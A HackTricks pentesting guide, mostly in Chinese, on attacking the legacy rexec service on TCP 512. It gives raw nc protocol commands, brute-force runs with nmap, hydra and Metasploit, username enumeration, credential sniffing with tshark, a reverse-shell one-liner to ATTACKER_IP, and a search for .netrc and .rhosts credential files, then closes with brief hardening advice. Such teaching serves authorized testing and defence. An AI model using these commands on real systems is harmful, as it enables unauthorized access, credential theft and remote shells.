512 - Pentesting Rexec
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Rexec(remote exec)是最早的 Berkeley r-services 套件之一(与 rlogin、rsh 等一起)。它提供了远程命令执行能力,仅使用明文用户名和密码进行认证。该协议在 1980 年代早期被定义(参见 RFC 1060),如今被认为是从设计上不安全的。尽管如此,它仍然在一些旧的 UNIX / 网络附加设备上默认启用,并且有时会在内部 pentests 中出现。
默认端口: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 所有流量 – 包括 credentials – 都以未加密方式传输。任何能够 sniff 网络的人都可以恢复 username、password 和 command。
协议速览
- Client 连接到 TCP 512。
- Client 发送三个 NUL-terminated 字符串:
- the port number (as ASCII) where it wishes to receive stdout/stderr (often
0), - the username,
- the password.
- 发送最后一个带有要执行的 command 的 NUL-terminated 字符串。
- server 回复一个单字节(8-bit)状态字节(0 = success,
1= failure),随后是 command 输出。
如果第一个字段为 non-zero,server 会打开一条 second TCP connection back to the client 并用它传输 stderr。对于 manual testing 和对该 service 的 fingerprinting filtering / firewall issues 的排查都很有用。
这意味着你只需 echo -e 和 nc 就能重现该交互:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
如果 credentials 有效,你将通过同一 connection 直接收到 id 的输出。
如果你想在专用的 listener 上接收 stderr,请让 server 反向连接回你:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
许多常见实现(例如 GNU rexecd)仍然强制使用 16-byte username/password fields,并且对无效 username 与无效 password 返回 不同的诊断字符串。这在 enumeration 期间很重要,因为某些目标会 leak whether the account exists,在你开始 brute forcing 之前就会暴露出来。
使用客户端的手动方式
许多 Linux 发行版仍会在 inetutils-rexec / rsh-client 包中附带该旧版客户端:
rexec -l user -p password <target> "uname -a"
如果省略 -p,客户端会以交互方式提示输入密码(在网络上传输时以明文可见!)。
为了避免在你的 shell 历史记录 / 进程列表中留下密码,GNU rexec 还支持从 stdin 读取:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
这 在网络上并不更安全;它只是减少了攻击主机上的本地暴露。
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute NSE 使用上面描述的协议来非常快速地尝试凭证。
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra 有一个专用的 rexec 模块,并且仍然是最快的 offline bruteforcer。 medusa (-M REXEC) 和 ncrack (rexec module) 可以以相同的方式使用。
通过服务器消息进行用户名枚举
某些 rexecd 实现会暴露不同的错误信息,例如 Login incorrect. 与 Password incorrect.。如果你看到这种行为,先验证用户名,然后再 brute force passwords:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
如果响应不同,在进行大规模 password spray 之前,先构建一个有效用户列表。
检查相关的 r-services
rexec 本身使用 密码认证,不同于 rsh / rlogin 的 trusted-host 机制,但在实际中它们通常来自 同一旧版软件包 (openbsd-inetd, inetutils, vendor UNIX bundles)。如果 TCP 512 开放,立即检查 TCP 513 和 514,因为 .rhosts / /etc/hosts.equiv 的滥用可能提供更容易的横向移动:
nmap -sV -p 512,513,514 <target>
另见:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
该模块在成功后会生成一个 shell 并将凭据存储在数据库中。
Sniffing credentials
因为一切都是明文,网络流量捕获非常宝贵。有了流量的拷贝,你可以在不接触目标的情况下提取 creds:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC to view nicely-parsed fields.)
Post-Exploitation tips
- 命令以所提供用户的权限运行。如果
/etc/pam.d/rexec配置错误(例如pam_rootok),有时可以获得 root shell。 - Rexec 忽略用户的 shell 并通过
/bin/sh -c <cmd>执行命令。因此你可以使用典型的 shell 转义技巧 (;,$( ), backticks) 来串联多个命令或生成 reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- 密码常常存储在
~/.netrc或其他系统的遗留自动化脚本中;如果你攻破了一台主机,可能会重用它们进行 lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Hardening / Detection
- Do not expose rexec; replace it with SSH. 几乎所有现代的 inetd superservers 默认都会注释掉该服务。
- 如果必须保留,使用 TCP wrappers (
/etc/hosts.allow) 或防火墙规则限制访问,并强制使用每个账户的强密码。 - 监控发往 :512 的流量以及
rexecd进程的启动。单次数据包捕获就足以检测出被入侵。 - 一并禁用
rexec,rlogin,rsh—— 它们共享大部分相同的代码库和弱点。
References
- GNU Inetutils
rexecd/rexec文档 – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brute文档 – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


